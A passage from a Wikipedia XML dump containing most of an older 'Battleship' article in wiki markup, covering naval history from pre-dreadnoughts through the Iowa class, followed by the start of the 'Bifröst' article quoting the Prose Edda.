in navies of nations with global ambitions.  The United States experimented with four such ships, including the first two American battleships, [[USS Maine (ACR-1)|''Maine'']] and [[USS Texas (1895)|''Texas'']].

[[Image:JBMikasa.jpg|thumb|300px|Pre-''Dreadnought'' battleship [[Japanese battleship Mikasa|''Mikasa'']], flagship of the Japanese fleet at the [[Battle of Tsushima]], in [[1905]].]]

The first warships resembling modern battleships were built in the United Kingdom around 1870 with the [[Devastation class battleship|''Devastation'' class]] of low-freeboard [[turret ship]]s, a few years after the first battle between [[ironclad]] warships (the [[USS Monitor|USS ''Monitor'']] and [[CSS Virginia|CSS ''Virginia'']] at [[Hampton Roads]], [[Virginia]]).  However, it was not until around 1880 that battleship design became stable enough for larger classes to be built to a single design. Later in the period battleship displacement grew rapidly as more powerful engines and more armour and minor guns were added.  Many experimental ships were built, but all navies finally converged on a design known after-the-fact as [[Pre-dreadnought]]s, which were battleships built in the period 1890&amp;ndash;1905 and usually having a displacement of 9,000&amp;ndash;16,000 tons, a speed of 13&amp;ndash;18 [[knot (speed)|knot]]s, and an armament of four &quot;big guns&quot;, usually 12&quot; (305mm) in bore diameter, in two centreline turrets, fore and aft, plus a heavy intermediate battery of typically eight 8&quot; guns carried in double turrets on the superstructure corners, and a secondary battery of smaller guns.  The 12&quot; mains and 8&quot; intermediates were generally used for battleship to battleship combat, while the secondaries (typically 7&quot; to 5&quot;) were reserved for smaller threats, [[cruiser]]s and the new [[destroyer]]s.  A small number of designs, including the American [[Kearsarge class battleship|''Kearsarge'']] and [[Virginia class battleship|''Virginia'']] classes, experimented with all or part of the 8&quot; intermediate battery superimposed over the 12&quot; primary, with less than stellar results (nearly universally, recoil factors resulted in the 8&quot; battery being completely unusable).  Turrets, armour plate, and steam engines were all improved over the years, and [[torpedo]] tubes were introduced. However, events in 1906 sparked off another naval arms race.

===&quot;All-big-guns&quot;===
In [[1905]] the [[Russia]]n Navy was decisively defeated at the [[Battle of Tsushima]] by the modern [[Japan]]ese Navy, which was equipped with the latest battleships.  The events of the battle revealed to the world that only the biggest guns mattered in modern naval battles.  As secondary guns grew in size, spotting gun splashes (and aiming) between main and secondary guns became problematic.  The Battle of Tsushima demonstrates that damage from the main guns was much greater than secondary guns.  In addition, the battle demonstrated the practicability of gun battles beyond the range of secondary guns (12,000 yards).

[[Image:IJN Satsuma.jpg|thumb|300px|The [[Imperial Japanese Navy|IJN]]'s [[Japanese battleship Satsuma|''Satsuma'']], the first ship to be designed and laid down as an &quot;all-big-gun&quot; battleship]]

The United States, Japan, and the United Kingdom all realized this and launched plans for all-big-gun ships. The [[Imperial Japanese Navy]]'s ''[[Japanese battleship Satsuma|Satsuma]]'' was the first battleship in the world to be designed and laid down as an all-big-gun battleship, although gun shortages only allowed her to be equipped with four of the twelve 12-in guns that had been planned.

The United Kingdom, led by the efforts of the [[First Sea Lord]] (head of the [[Admiralty]]), [[John Fisher, 1st Baron Fisher|Jackie Fisher]], took the lead and completed [[HMS Dreadnought (1906)|''Dreadnought'']] in only 11 months. ''Dreadnought'' carried ten 12-inch guns in 5 turrets, and was powered not by reciprocating engines, but by revolutionary (for large ships) [[steam turbines]].  Previous ships powered by reciprocating steam engines were, in practice, limited by engine vibration to 18 knots. Even at that speed vibration limited aiming ability and the engines wore out quickly. ''Dreadnought'' had a top speed of 21 knots. It was the first of the new breed of &quot;all-big-gun&quot; battleships.  Major naval powers raced to build their own dreadnoughts to avoid being overtaken by the United Kingdom.  The Royal Navy, labouring under the expectation that it should be able to match any two of its competitors combined, began demanding increasingly unaffordable sums from the government for dreadnought construction.  The government, already burdened with financial crises caused by the [[Second Boer War]] and a voting population demanding more government expenditure on welfare and public works, could not afford to squander precious money on even more dreadnoughts, allowing rival navies (particularly the [[Kaiserliche Marine]]) to catch up with the United Kingdom's battleship forces.  Even after ''Dreadnought'''s commission, battleships continued to grow in size, guns, and technical proficiency as countries vied to have the best ships.  By [[1914]] ''Dreadnought'' was outmoded. This expensive arms race would not end until the [[Washington Naval Treaty]] of [[1922]]. This treaty limited the number and size of battleships that each major nation could possess.

==The Dreadnought era==
[[Image:HMS_Dreadnought_1906_H63367.jpg|thumb|right|300 px|HMS ''Dreadnought'']]

With advances in [[gun laying]] and aiming, engagement ranges had increased from 1000 yards or less to 6000 yards or more over the previous few years, in part as a consequence of the devastating, but short-ranged firepower of the recently invented [[torpedo]].  This had caused a move away from mixed calibre armament, as each calibre required a different aiming calibration, something which unnecessarily complicated gunnery techniques.  At longer ranges, the higher maximum rate of fire of the smaller calibres was negated by the need to wait for shell splashes before firing the next salvo and the determination of those from the other calibres. This negated the advantage of small-calibre guns; heavier weapons were effectively as fast and packed a much greater punch.

The French navy solved the problem of identifying the results of individual ships in a clever way; each ship added color to its shells.{{fact}} Other nations adopted this measure as well.

Partially as a consequence of this new philosophy, and partially as a consequence of its powerful new turbine engine, ''Dreadnought'' dispensed completely with the smaller calibre secondary armament carried by her immediate predecessors, allowing her to carry more heavy calibre guns than any other battleship built up to that time. She carried ten 12-inch guns mounted in five turrets; three along the centreline (one forward and two aft) and two on the wings, giving her twice the broadside of anything else afloat.  The first large warship equipped with [[steam turbine]]s, she could make 21 [[knot (speed)|knots]] in a calm sea, allowing her to outrun existing battleships (with a typical speed of 18 kts).  Her armour was strong enough that she could conceivably go head-to-head with any other ship afloat in a gun battle and win.

Although there were some problems with the ship &amp;mdash; the design's [[wing turrets]] strained the hull when firing broadsides, and the top of the thickest armour belt lay below the waterline when the ship was fully loaded &amp;mdash; ''Dreadnought'' was so revolutionary that battleships built before her were afterward known as &quot;pre-Dreadnoughts&quot;, and those following as &quot;Dreadnoughts&quot;. Vessels built within a few years that were bigger and mounted more powerful guns were referred to as &quot;Superdreadnoughts&quot;.  In a stroke, ''Dreadnought'' had made all existing battleships obsolete; including those of the Royal Navy, which embarked on a programme of building ever-more-powerful Dreadnought designs.

National pride in the early 20th Century was largely based on how many of these ships a navy had, and details were published in the newspapers for the public to avidly follow; the naval arms race which ''Dreadnought'' sparked, especially between the United Kingdom and the young German empire, was to create powerful shockwaves.  Whereas Germany before the commissioning of ''Dreadnought'' had been behind the British Empire by more than twenty battleships of the highest class, they were now behind by only one.

''Dreadnought'' was powered with steam turbines, which enabled her to sustain a higher maximum speed for longer, and with less maintenance than her [[triple-expansion engine]] powered predecessors.  Being more compact, the turbines also allowed for a lower hull, which had the side-effect of reducing the amount of armour the ship had to carry. Although turbines had been used in [[destroyer]]s for some years previously, ''Dreadnought'' was the first large warship to use them.  As a consequence of the turbines, ''Dreadnought'' was actually slightly cheaper than the previous [[Lord Nelson class battleship|''Lord Nelson'' class]] of pre-Dreadnoughts. 

The American [[South Carolina class battleship|''South Carolina'' class]] battleships were begun before ''Dreadnought'', and had most of her features, except for the steam turbines; however, their final design was not completed before ''Dreadnought,'' and their construction took much longer. Smaller than ''Dreadnought'' at 16,000 tons standard displacement, they carried eight 12 inch guns in four twin turrets arranged in superfiring pairs fore and aft along the centreline of the keel.  This arrangement gave ''South Carolina'' and her sister ''Michigan'' a broadside equal to ''Dreadnought's'' without requiring the cumbersome [[wing turrets]] that were a feature of the first few British dreadnought classes.

===The superdreadnought===
[[Image:2nd Battle Squadron.jpg|thumb|300px|''Orion''-class battleships in line]]

The arrival of superdreadnoughts is not as clearly identified with a single ship in the same way that the dreadnought era was initiated by HMS ''Dreadnought''.  However, it is commonly held to start with the British [[Orion class battleship|''Orion'' class]], and for the German navy with the [[König class battleship|''König'']]s.

The ''Orions'' were just one step in a breathtakingly rapid evolution that ''Dreadnought'' had initiated.  What made them &quot;super&quot; was the unprecedented jump in displacement of 2,000 tons over the previous class, the introduction of the heavier 13.5&amp;nbsp;inch (343&amp;nbsp;mm) gun, and the distribution of all the main armament on the centreline of the keel .  Thus, in the four years that separated the laying down of ''Dreadnought'' and [[HMS Orion (1910)|''Orion'']], displacement had increased by 25%, and weight of broadside had doubled.

Superdreadnoughts also incorporated, during construction, the latest technical gunnery advances. Thus they received director control, designed from the outset with larger observation positions with range finders and electrical repeaters aloft, mechanical calculators and predictors in protected positions below, and very advanced alignment and correction devices for the guns.

The design weakness of super dreadnoughts, which distinguished them from post-Great War designs, was armour disposition.  Their design placed emphasis on vertical protection which was needed in short range battles.  These ships were capable of engaging the enemy  at 20,000 metres, but were vulnerable to the angle of fire that came at such ranges.  Post-war designs typically had 5 to 6 inches of deck armour to defend against this dangerous, plunging fire.  Lack of underwater protection was also a weakness of these pre-World War I designs which were devleoped only as the threat of the torpedo became real.

The superdreadnoughts that were built had been surpasssed by designs developed during the Great War. Any remaining that served in World War II had all either received extensive modifications, or were a source of extreme anxiety because of their vulnerability to more modern battleships, or both.

==World War I==
[[Image:British Grand Fleet 2.jpg|thumb|300px|British Grand Fleet during WWI]]

A naval [[arms race]] had been ongoing between [[Germany]] and the [[United Kingdom]] since the [[1890]]s.  The building of ''Dreadnought'' actually helped Germany in this, as instead of having a lead of 15 or so ships of the latest type, the United Kingdom now had a lead of just one.  Furthermore, the United Kingdom 's policy of maintaining a navy larger than the world's second and third largest navies combined was becoming unsustainably expensive.  All other battleship navies switched over in the next few years to building Dreadnought-type ships as well.

At this point in time, the [[Royal Navy]] of the United Kingdom had ruled the seas for several centuries, but the German emperor [[Wilhelm II of Germany|Kaiser Wilhelm II]] and his naval minister, [[Alfred von Tirpitz]], set out to change that, in part for strategic reasons, but mainly due to a simple desire to challenge the United Kingdom.  The culmination of this race led to a stalemate in [[World War I]].  The [[High Seas Fleet|German High Seas Fleet]] and the [[British Grand Fleet]] were too valuable to be risked in battle and so both spent the majority of the war in port, waiting to respond should the other go to sea.  Paradoxically, the ships were too valuable (strategically, at least) to leave at port, and too expensive to use in battle. Apart from some operations in the [[Baltic Sea|Baltic]] against Russia, Germany's main fleet limited itself to making battlecruiser raids on the British east coast, in an attempt to lure part of the British fleet out so that it could be defeated by the waiting High Seas Fleet. In their turn, the British made sweeps of the [[North Sea]], and both sides laid extensive [[Naval mine|minefield]]s.  Although there were several naval battles, the only engagement between the main British and German fleets was the abortive [[Battle of Jutland]], a German tactical victory of sorts (fourteen British ships were sunk to eleven German, although the High Seas Fleet fled the field) but a British strategic victory, as although the German fleet was not destroyed it took longer to come back to operational status than the British and mostly remained in port for the rest of the war.

After World War I, the [[Armistice with Germany (Compiègne)|Armistice with Germany]] required that most of the High Seas Fleet be interned at [[Scapa Flow]], [[Scotland]].  Most of these ships were subsequently [[Scuttling|scuttled]] by their German crews on [[21 June]] [[1919]] just before the formal surrender of Germany.  As far as the German sailors were concerned, they were undefeated; it was felt that their ships should not fall into the hands of the British.

==World War II==
[[Image:Yamatotrials.jpg|thumb|300px|right|The [[Imperial Japanese Navy]]'s [[Japanese battleship Yamato|''Yamato'']] and her sister ship [[Japanese battleship Musashi|''Musashi'']] were the largest battleships in history. (1941)]]

With the [[Washington Naval Treaty]] of [[1922]], the major navies of the world scaled back their battleship programs, with numerous ships on all sides scrapped or re-purposed. With extensions, that treaty lasted until [[1936]], when the major navies of the world began a new arms race.  Famous ships like [[German battleship Bismarck|''Bismarck'']], [[HMS Prince of Wales (1939)|''Prince of Wales'']] and [[Japanese battleship Yamato|''Yamato'']] were all launched in the next few years.  During the conflict naval warfare evolved quickly and battleships lost their position as the principal ships of the fleet.  Most new-build World War II battleships had similar layouts, typically equipped with three triple turrets of 14&quot; to 16&quot; caliber (18.1&quot; in the mighty ''Yamatos'') in a &quot;2-A-1&quot; layout, and the superstructure flanked with secondary guns of 4-6&quot; caliber.  The big guns of ''Yamato'' were intended to outmatch any armor in the world, even the sophisticated and tough armor of the American and British battleships, but in practice they were no more powerful than the 16&quot; guns of the American WW2 battlewagons.

In the early stages of the [[Second Battle of the Atlantic|battle of the Atlantic]], Germany's surface units threatened the Atlantic convoys supplying the United Kingdom, so the British surface units devoted themselves to protecting the convoys, and seeking out and trying to destroy the German ships, as well as lying in wait at Scapa Flow.  The German battleship raiders recorded early successes, with [[German battlecruiser Scharnhorst|''Scharnhorst'']] and [[German battlecruiser Gneisenau|''Gneisenau'']] surprising and sinking the aircraft carrier [[HMS Glorious|HMS ''Glorious'']] off western Norway in June [[1940]].  A subsequent cruise in the North Atlantic netted the ''Scharnhorst'' and ''Gneisenau'' 22 ships.  On [[24 May]] 1941 during an attempt to break out into the North Atlantic, ''Bismarck'' sank the [[battlecruiser]] [[HMS Hood (1918)|HMS ''Hood'']].  The Royal Navy hunted down ''Bismarck''; an attack by [[Fairey Swordfish|Swordfish]] biplanes torpedo-bombers from the [[aircraft carrier]] [[HMS Ark Royal (91)|''Ark Royal'']] disabled her steering and allowing the British heavy units to catch up.  Instead of further attacks by aircraft, on Monday [[27 May]] the Royal Navy's battleships [[HMS King George V (1939)|''King George V'']] and [[HMS Rodney (1925)|''Rodney'']] with 2 cruisers and a number of destroyers engaged her with guns and torpedoes.  In an eighty-eight minute battle, the ''Bismarck'' was reduced to a floating hulk and then sank after her crew set off scuttling charges.

Battleships were also involved in the battle for control the Mediterranean.  At the [[Battle of Taranto]] in November 1940, Swordfish aeroplanes from [[HMS Illustrious (R87)|HMS ''Illustrious'']] attacked the Italian fleet at their base at Taranto.  For the loss of two aircraft, the Royal Navy effectively sank one battleship and disabled two others.  The success of this raid inspired the Japanese plan to attack [[attack on Pearl Harbor|Pearl Harbor]] which entered the planning stage three months later.  At the [[Battle of Cape Matapan]], [[27 March|27]]&amp;ndash;[[29 March]] 1941, three Italian heavy cruisers were surprised and destroyed in a brief battle with British battleships force near Crete.  However, technology was overtaking the battleship.  A battleship's big guns might have a range of thirty miles, but the [[aircraft carrier]] had aircraft with ranges of several hundred miles, and [[radar]] was making those attacks ever more effective.  ''Bismarck'' was crippled by obsolete [[Fairey Swordfish|Swordfish]] torpedo bombers from [[HMS Victorious (R38)|''Victorious'']] and [[HMS Ark Royal (91)|''Ark Royal'']].  The Soviet dreadnought [[Soviet battleship Petropavlovsk|''Petropavlovsk'']] and Italian [[Italian battleship Roma (1940)|''Roma'']] were sunk by German air attacks.  The British battleship [[HMS Prince of Wales (1939)|HMS ''Prince of Wales'']] and her battlecruiser consort [[HMS Repulse (1916)|HMS ''Repulse'']] were sunk by [[Mitsubishi G4M|Japanese torpedo bombers]] while operating in the defence of Malaya (Malaysia and Singapore).  ''Prince of Wales'' became the first battleship to be sunk by aircraft while able to defend itself in open water.

[[D-Day]] saw battleships in the role of coastal bombardment in support of an amphibious landing on a hostile, fortified shore . Several older battlewagons came into their own, not only knocking out coastal guns which threatened transports and landing craft, but also hitting troop and tank concentrations, and railway marshalling yards.  [[HMS Ramillies (1916)|HMS ''Ramillies'']] fired 1,002 15&quot; shells at shore targets as well as driving off German aircraft, [[E Boat]] and [[destroyer]] attacks.

The Japanese bombing of Pearl Harbor in December 1941 sank or damaged most of the U.S. Pacific Fleet's battleships, but the three aircraft carriers were not in port and so escaped damage. Six months later, it was those carriers that were to turn the tide of the Pacific War at the [[battle of Midway]].  As the war progressed, battleships became festooned with anti-aircraft weapons such as the [[Bofors 40 mm gun|40mm Bofors gun]].  Nonetheless, the advent of air power spelled doom for the battleship.
[[Image:Pennsylvania Lingayen.jpg|thumb|300px|[[USS Pennsylvania (BB-38)|''Pennsylvania'']] leading [[USS Colorado (BB-45)|''Colorado'']], [[USS Louisville (CA-28)|''Louisville'']], [[USS Portland (CA-33)|''Portland'']], and [[USS Columbia (CL-56)|''Columbia'']] into [[Lingayen Gulf]], [[Philippines]], January [[1945]].]]

Battleships in the Pacific ended up primarily performing shore bombardment and anti-aircraft defense for the carriers.  The largest battleships ever constructed, Japan's ''Yamato'' and [[Japanese battleship Musashi|''Musashi'']], were sunk by aircraft attacks long before they could come within striking range of the American fleet.  The last active German battleship, [[German battleship Tirpitz|''Tirpitz'']], had lurked until late into the war in Norwegian fjords protected by anti-submarine defences and shore based anti-aircraft guns.  A daring attempt by Britsh mini-subs to sink her covertly failed, but it was still finally damaged there and sunk by [[Royal Air Force|RAF]] aircraft using [[Tallboy bomb]]s.

&lt;!--subs weren't a threat--&gt;

The second half of World War II saw the last battleship duels. [[USS Massachusetts (BB-59)|''Massachusetts'']] fought Vichy French battleship [[Jean Bart (1949-1961)|Jean Bart]] on [[27 October]],[[1942]].  In the [[Naval Battle of Guadalcanal|Battle of Guadalcanal]] on [[November 15]] [[1942]], the United States battleships [[USS South Dakota (BB-57)|''South Dakota'']] and [[USS Washington (BB-56)|''Washington'']] fought and destroyed the Japanese battleship [[Japanese battleship Kirishima|''Kirishima'']].  In the [[Battle of North Cape]], on [[26 December]] [[1943]], [[HMS Duke of York (1940)|HMS ''Duke of York'']] and destroyers sank the German ''Scharnhorst'' off [[Norway]].  And in the [[Battle of Leyte Gulf]] on [[25 October]] [[1944]] six battleships, led by admiral [[Jesse Oldendorf]] of the US 7th Fleet sank the Japanese admiral [[Shoji Nishimura]]'s battleships [[Japanese battleship Yamashiro|''Yamashiro'']] and [[Japanese battleship Fuso|''Fuso'']] during the [[Battle of Surigao Strait]].

Nevertheless, the [[Battle of Samar]] on [[25 October]] [[1944]] during the [[Battle of Leyte Gulf]] proved that battleships still were a lethal weapon.  Only the indecision of Admiral [[Takeo Kurita]] saved the American aircraft carriers of &quot;Taffy 3&quot; from being pounded to the bottom by gunfire of [[Japanese battleship Yamato|''Yamato'']], [[Japanese battleship Kongo|''Kongo'']] and [[Japanese battleship Nagato|''Nagato'']] and their cruiser host. Miraculously, only [[USS Gambier Bay|''Gambier Bay'']] and four destroyers were lost due to surface action.

As a result of the changing technology, plans for even larger battleships, the American [[Montana class battleship|''Montana'' class]] and Japanese [[Super Yamato class|&quot;Super ''Yamato''&quot; class]], were cancelled.  At the end of the war, almost all the world's battleships were decommissioned or scrapped. It is notable that most battleship losses occurred while in port. No battleship was lost to heavy bombers on the open seas, which was considered the most grave aerial peril to battleships prior to WWII due to [[Billy Mitchell]] and the [[SMS Ostfriesland|''Ostfriesland'']] experiment.  The [[Italian battleship Roma (1940)|''Roma'']] was sunk by a [[Precision-guided munition|guided bomb]], a [[Fritz X]], while underway to surrender.  Instead, the true aerial peril to battleships came from small, one to three-man [[dive bomber]]s and [[torpedo bomber]]s like the [[SBD Dauntless]] and [[TBF Avenger]].

==Post World War II==
After World War II, several navies retained battleships, but they were now outclassed by carriers. The Italian [[Italian battleship Giulio Cesare|''Giulio Cesare'']] was taken by the Soviets as reparations and renamed ''Novorossiysk''; it was sunk by a German mine in the Black Sea [[29 October]] [[1955]].  The two [[Doria class battleship|''Doria'' class]] ships were scrapped in the late 1950s.  The French [[French battleship Lorraine|''Lorraine'']] was scrapped in 1954, [[French battleship Richelieu|''Richelieu'']] in 1964 and [[French battleship Jean Bart|''Jean Bart'']] in 1970.  The United Kingdom's four surviving [[King George V class battleship (1939)|''King George V'' class]] ships were scrapped towards the end of the 1950s, and [[HMS Vanguard (1944)|''Vanguard'']] followed around 1960.  All other surviving British battleships had been scrapped in the late 1940s.  The Soviet Union's ''Petropavlovsk'' was scrapped in 1953, [[Soviet battleship Sevastopol|''Sevastopol'']] in 1957 and [[Soviet battleship Gangut|''Gangut'']] in 1959, Brazil's [[Brazilian battleship Minas Gerais|''Minas Gerais'']] was scrapped in 1954 (sister ship [[Brazilian battleship Sao Paulo|''Sao Paulo'']] sank en route to the breakers during a storm in 1951), [[Argentina]] kept its two [[Rivadavia class battleship|''Rivadavia'' class]] ships until 1956, Chile kept ''Almirante Latorre'' (formerly HMS ''Canada'') until 1959, and the Turkish battlecruiser ''Yavuz'' (formerly the German [[SMS Goeben|''Goeben'']], launched in 1911) was scrapped in 1976 after an offer to sell it back to Germany was refused.  Sweden had several small coastal defense battleships, one of which, ''Gustav V'', survived until 1970.  The Russians also scrapped four large incomplete cruisers in the late 1950s, whilst plans to build new battleships were abandoned following the death of Stalin in 1953.  There were also some old sailing battleships still used as housing ships or storage depots.  Of these, all but HMS ''Victory'' were sunk or scrapped by 1957.

[[Image:Uss iowa bb-61 pr.jpg|thumb|250px|The battleship [[USS Iowa (BB-61)|USS ''Iowa'']] firing a salvo to starboard]]
[[Image:Missouri missile.JPG|thumb|right|250px|[[USS Missouri (BB-63)|USS ''Missouri'']] launches a [[Tomahawk missile]].]]

The battleships gained a new lease of life in the U.S. Navy as fire support ships.  Shipborne artillery support is considered by U.S. Marine Corps as more accurate, more effective and less expensive than aerial strikes.  Radar and computer controlled gunfire can be aimed with pinpoint accuracy to target.  The United States recommissioned all four [[Iowa class battleship|''Iowa'' class]] battleships for the [[Korean War]] and [[USS New Jersey (BB-62)|''New Jersey'']] for the [[Vietnam War]].  These were primarily used for shore bombardment. As part of [[United States Secretary of the Navy|Navy Secretary]] [[John F. Lehman]]'s effort to build a [[600-ship Navy]], and in response to the commissioning of ''Kirov'' by the Soviet Union the United States recommissioned all four ''Iowa'' class battleships.  These were modernized to carry [[Tomahawk missile]]s, with ''New Jersey'' seeing action bombarding [[Lebanon]], while [[USS Missouri (BB-63)|''Missouri'']] and [[USS Wisconsin (BB-64)|''Wisconsin'']] fired their 16-inch (406&amp;nbsp;mm) guns at land targets and launched missiles in the [[Gulf War]] of 1991.  ''Wisconsin'' served as the TLAM strike commander for the Persian Gulf, directing the sequence of launches that marked the opening of [[Operation Desert Storm]] and firing a total of 24 TLAMs during the first two days of the campaign.  This will most likely be the last combat action ever by a battleship.

All four ''Iowas'' were decommissioned in the early [[1990s]], making them the last battleships to see active service.  ''Missouri'', and ''New Jersey'' are now museums at [[Pearl Harbor]] and [[Camden, New Jersey|Camden, N.J.]] respectively.  ''Wisconsin'' also functions as a museum (at [[Norfolk, Virginia|Norfolk, Va.]]), but is still on the [[Naval Vessel Register|NVR]], and the public can only tour the deck, with the rest of ship closed off.  [[USS Iowa (BB-61)|''Iowa'']] (at [[Suisun Bay]]) and ''Wisconsin'' are in the [[United States Navy reserve fleets|Naval Reserve Fleet]], and could be re-activated.

From the late 1970s onwards, the [[Soviet Union]] (later Russia) built four large nuclear-powered [[Kirov class battlecruiser|''Kirov'' class]] missile cruisers (''Raketny Kreyser'' (Rocket Cruiser)), one of which is still operational [[as of 2005]].  Their introduction had been one of the factors leading to the reactivation of the four ''Iowas''.  The ships, while comparatively big for a cruiser, are not battleships in the traditional sense; they adhere to the design premise of a large missile [[cruiser]] and lack traditional battleship traits such as heavy armor and significant shore bombardment capability.  For example, at ~26,000 tons displacement they are near double the [[Krasina class cruiser|''Krasina'' class]] missile cruisers (~11,000 tons), but half the ''Iowa'' class (~55,000 tons).

Battleships still in existence as museums include the American [[USS Massachusetts|USS ''Massachusetts'']], [[USS North Carolina (BB-55)|''North Carolina'']], [[USS Alabama (BB-60)|''Alabama'']] and [[USS Texas (BB-35)|''Texas'']], the British [[Mary Rose|HMS ''Mary Rose'']], [[HMS Victory|''Victory'']] and [[HMS Warrior (1860)|''Warrior'']], the Japanese [[Japanese battleship Mikasa|''Mikasa'']], the Swedish [[Regalskeppet Vasa|''Vasa'']], the Dutch [[HNLMS Buffel|''Buffel'']] and [[HNLMS Schorpioen|''Schorpioen'']], and the Chilean [[Huáscar (ship)|''Huascar'']]. (See [[:Category:Museum ships]] for other museum ships).

USS ''Iowa'' and USS ''Wisconsin'' are maintained in accordance with the National Defense Authorization Act of [[1996]], which includes the following battleship readiness requirements:

# List and maintain at least two ''Iowa'' class battleships on the Naval Vessel Register that are in good condition and able to provide adequate fire support for an amphibious assault;
# Retain the existing logistical support necessary to keep at least two ''Iowa''-class battleships in active service, including technical manuals, repair and replacement parts, and ordnance; and
# Keep the two battleships on the register until the Navy certified that it has within the fleet an operational surface fire support capability that equals or exceeds the fire support capability that the ''Iowa''-class battleships would be able to provide for the Marine Corps' amphibious assaults and operations ashore. (Section 1011) [http://www.fas.org/man/dod-101/sys/ship/bb-61.htm Source]

Current plans in the United States Navy call for keeping ''Iowa'' and ''Wisconsin'' on the register until the naval surface fire support gun and missile development programs achieve operational capability, which is expected to occur sometime between [[2003]] and [[2008]].  If and when ''Iowa'' and ''Wisconsin'' are removed from the [[Naval Vessel Register]] there is a high probabilty that interest groups will request that they be placed on donation hold and transferred for use as museums.

The longterm plan to remove ''Iowa'' and ''Wisconsin'' and donate them as museum ships is not without controversy; the [[United States Marine Corps]] has fought to get both battleships reinstated.  The USMC believes that the naval surface fire support gun and missile programs will not be able to provide adequate fire support for an amphibious assault or onshore operations; additionally, the USMC does not think that the Navy's [[DD(X)]] destroyer program will be an acceptable replacement for the battleships, and points out that the DD(X) will not be available until 2013 in any event.

Refurbishing ''Iowa'' and ''Wisconsin'' has been priced at either $430 million for a 14-month program or $500 million for a 10-month program.

==Fictional appearances==
The term &quot;battleship&quot; often makes an appearance in military-oriented [[science fiction]], where they often occupy a role similar to their historical one.  It should be noted that some writers have come to believe &quot;battleship&quot; is synonymous with &quot;[[warship]]&quot;, and thus we see strange classifications like &quot;light battleship&quot; or &quot;small battleship&quot;.  Sometimes the futuristic battleships are large [[Starship|starships]] operating in outer space, rather than the open ocean.

Like [[Aircraft Carriers in Fiction|aircraft carriers]], conventional ocean-going battleships both fictional and real have also made frequent appearances in fictionalized accounts.

==Notes==
&lt;references/&gt;

==References==
*''Steam, Steel and Shellfire: The steam warship 1815-1905'', Conway's History of the Ship, ISBN 0785814132

==See also==
* [[Battleships throughout history]] (table only)
* [[List of Royal Navy ships]]
* [[List of ships of the Canadian Navy]]
* [[List of ships of the Japanese Navy]]
* [[List of ships of the Norwegian Navy]]
* [[Naval ship]]
* [[United States battleships]]
* [[Crossing the T]]

==External links==
*[http://www.friesian.com/dreadnot.htm &quot;Dreadnought&quot; by Kelley L. Ross, Ph.D.]
*[http://hazegray.org/navhist/battleships/ World Battleship Lists] at hazegray.org
*[http://www.wideopenwest.com/~jenkins/ironclads/foreign.htm List of early armored ships]
*[http://www.maritimequest.com/warship_directory/us_navy_pages/us_battleship_list.htm Maritimequest U.S. Battleship Index]
*[http://www.maritimequest.com/warship_directory/great_britain/pages/battleship_index.htm Maritimequest British Battleship Index]
*[http://www.maritimequest.com/warship_directory/germany/battleships_main.htm Maritimequest German Battleship Index]
*[http://www.maritimequest.com/warship_directory/france/battleships/french_battleship_index.htm Maritimequest French Battleship Index]
*[http://www.maritimequest.com/warship_directory/italy/battleships/battleship_index.htm Maritimequest Italian Battleship Index]
*[http://www.maritimequest.com/warship_directory/japan/battleships/japanese_battleship_index.htm Maritimequest Japanese Battleship Index]
*[http://www.maritimequest.com/warship_directory/russia/battleship_index.htm Maritimequest Russian Battleship Index]
*[http://www.globalsecurity.org/military/systems/ship/battleships.htm GlobalSecurity.org]
*[http://www.ussmissouri.com/VDO_on_demand.aspx?Name=TurretOps_GunRoom.wmv Video: Inside one of ''Missouri''’s 16&quot; gun room, about 1955. (Windows Media File)]
*[http://www.combinedfleet.com/baddest.htm Comparison of the capabilities of seven WWII battlesips]

[[Category:Ship types]]
[[Category:Battleships]]

[[cs:Bitevní loď]]
[[da:Slagskib]]
[[de:Schlachtschiff]]
[[et:Lahingulaev]]
[[es:Acorazado]]
[[fr:Navire de ligne]]
[[gl:Acoirazado]]
[[ko:전함]]
[[he:ספינת קרב]]
[[ms:Kapal perang]]
[[nl:Slagschip]]
[[it:Nave da battaglia]]
[[ja:戦艦]]
[[pl:Pancernik]]
[[pt:Couraçado]]
[[ru:Линейный корабль]]
[[sv:Slagskepp]]
[[zh:战列舰]]</text>
    </revision>
  </page>
  <page>
    <title>Bifröst</title>
    <id>4055</id>
    <revision>
      <id>41608315</id>
      <timestamp>2006-02-28T13:57:06Z</timestamp>
      <contributor>
        <username>FlaBot</username>
        <id>228773</id>
      </contributor>
      <minor />
      <comment>robot  Adding: no</comment>
      <text xml:space="preserve">In [[Norse Mythology]], '''Bifröst''' is the bridge leading from the realm of the mortals [[Midgard]] to the realm of the gods [[Asgard]], which the [[gods]] travel daily to hold their councils under the shade of the tree [[Yggdrasill]]. The bridge itself is the [[rainbow]] and its guardian is the god [[Heimdallr]]. The red color was the flaming fire, which served as a defense against the giants. The bridge is destroyed at the end of the world, [[Ragnarök]]. It was built by the [[Æsir]].

==The Prose Edda==

In the [[Gylfaginning]] part of [[Snorri Sturluson]]'s [[Prose Edda]] there is a description of Bifröst.

{|
|
:''Þá mælti Gangleri: &quot;Hver er leið til himins af jörðu?&quot;''

:''Þá svarar Hár ok hló við: &quot;Eigi er nú fróðliga spurt. Er þér eigi sagt þat at guðin gerðu brú til himins af jörðu, ok heitir Bifröst? Hana muntu sét hafa, kann vera at þat kallir þú regnboga. Hon er með þrim litum ok mjök sterk ok ger með list ok kunnáttu meiri en aðrar smíðir. Ok svá sem hon er sterk, þá mun hon brotna þá er Muspells megir fara ok ríða hana, ok svima hestar þeira yfir stórar ár. Svá koma þeir fram.&quot;''

:''Þá mælti Gangleri: &quot;Eigi þótti mér goðin gera af trúnaði brúna, er hon skal brotna mega, er þau megu gera sem þau vilja.&quot;''

:''Þá mælti Hár: &quot;Eigi eru goðin hallmælis verð fyrir þessa smíð. Góð brú er Bifröst, en engi hlutr er sá í þessum heimi er sér megi treystask þá er Muspells synir herja.&quot;'' - [http://www.hi.is/~eybjorn/gg/ggrpar13.html Eysteinn Björnsson's edition]
|
:Then said Gangleri: &quot;What is the way to heaven from earth?&quot;

:Then Hárr answered, and laughed aloud: &quot;Now, that is not wisely asked; has it not been told thee, that the gods made a bridge from earth to heaven, called Bifröst? Thou must have seen it; it may be that ye call it 'rainbow.' It is of three colors, and very strong, and made with cunning and with more magic art than other works of craftsmanship. But strong as it is, yet must it be broken, when the sons of Múspell shall go forth harrying and ride it, and swim their horses over great rivers; thus they shall proceed.&quot; 

:Then said Gangleri: &quot;To my thinking the gods did not build the bridge honestly, seeing that it could be broken, and they able to make it as they would.&quot; 

